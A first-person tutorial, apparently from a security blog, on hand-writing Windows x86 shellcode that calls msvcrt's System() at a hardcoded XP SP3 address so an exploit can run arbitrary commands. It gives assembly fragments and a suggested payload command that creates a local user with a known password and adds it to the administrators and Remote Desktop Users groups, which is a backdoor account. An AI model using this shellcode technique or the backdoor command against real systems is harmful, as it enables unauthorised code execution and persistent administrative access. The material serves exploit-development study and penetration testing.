Recently I have to write a custom shellcode that accommodate some specific features. Basically I have to avoid the use of some functions like WinExec() and ShellExecute() to create a remote code execution and insert it as payload in a test exploit.
I have to search some other function that allow me to execute command on a remote PC and I found it in the System() call function. I’m not a skilled developer, so what described below is my working solution, maybe not the better solution.
I’m not talking here about the exploit, but only about the shellcode creation and choices motivations. This exemple can be easly fit to other situations and replicated without inserting it in an exploit, but simply tested in a developer or in a custom binary file.
I started from this sample code. It uses the Windows API function MessageBoxA to popup a message
mov ebx, 0x00584148 ; Loads a null-terminated string “HAX” to ebx
push ebx ; pushes ebx to the stack
mov esi, esp ; saves null-terminated string “HAX” in esi
xor eax, eax ; Zero our eax (eax=0)
push eax ; Push the fourth parameter (uType) to the stack (value 0)
push esi ; Push the third parameter (lpCaption) to the stack (value HAX\00)
push esi ; Push the second parameter (lpText) to the stack (value HAX\00)
push eax ; Push the first parameter (hWnd) to the stack (value 0)
mov eax, 0x7E45058A ; Move the MessageBoxA address in to eax
call eax ; Call the MessageBoxA function with all parameters supplied.
Looking up the MessageBoxA function in Google reveals four arguments:
So the sample code pushes in the stack all the arguments and then call the address of the function already loaded in memory.
Some things to underline:
– at the end of every argument a null byte is insered (\x00)
– the arguments are pushed in reverse order into the stack (LIFO)
– this is only a shellcode and it has to be appended to a program; this program must have the function MessageBoxA (user32.dll) loaded in memory.
– the address of the function (0x7E45058A) is hadrcoded and works only on the Operating System the shellcode is written for.
– the hardcoded address doesn’t work in random space address context (ASLR or EMET)
Starting from this sample I want to use the System() function to pass commands to the interpreter (typically CMD.EXE); I search in MSDN specifications and I found that it needs only one parameter: the command I want to pass.
First I have to determinate, using the debugger, if the function is loaded in memory, so in Olly I search for “Names in all modules” and, luckly I found it in the msvcrt.dll (Figure 1) at address 0x77BF93C7 (Figure 2).
Ok, now I have to convert the string “echo A>%tmp%\xx.txt” in hex, cut it in groups of 4 bytes and invert the order of the groups; also I have to remember to insert the NULL byte at the end of the hex string. These groups will be insered in the stack using the push command and then will group it adding a pointer to the stack.
So the testing shell code will be like this:
PUSH 0x74787400 ; push into the stack, in reverse order, the command 'echo A>%tmp%\xx.txt' adding a NULL byte
MOV EDI,ESP ; adding a pointer to the stack
MOV EAX,0x77BF93C7 ; calling the System() function using the hardcoded address (XP SP3)
Ok, now I have the test shellcode; I can do it directly in Olly. I open the debugger, attach a program, edit the first few lines, put a brake point at the end of my code and run the program (Figure 3).
Remember that the msvcrt.dll must be one of the module loaded by the program attached to the debugger.
Once the shellcode is ended I verify its work: I go to %tmp% folder and search for the xx.txt file, if all is ok I can insert a better command like
net user test Pa$$word1234 /add & net localgroup administrators test /add & net localgroup "Remote desktop users" test /add
Note that the net user/net localgroup need the admin privilege to be executed, so in a real exploit the target program must be started using elevated rights. On the other hand the first command, the echo one, will work also with low privilege.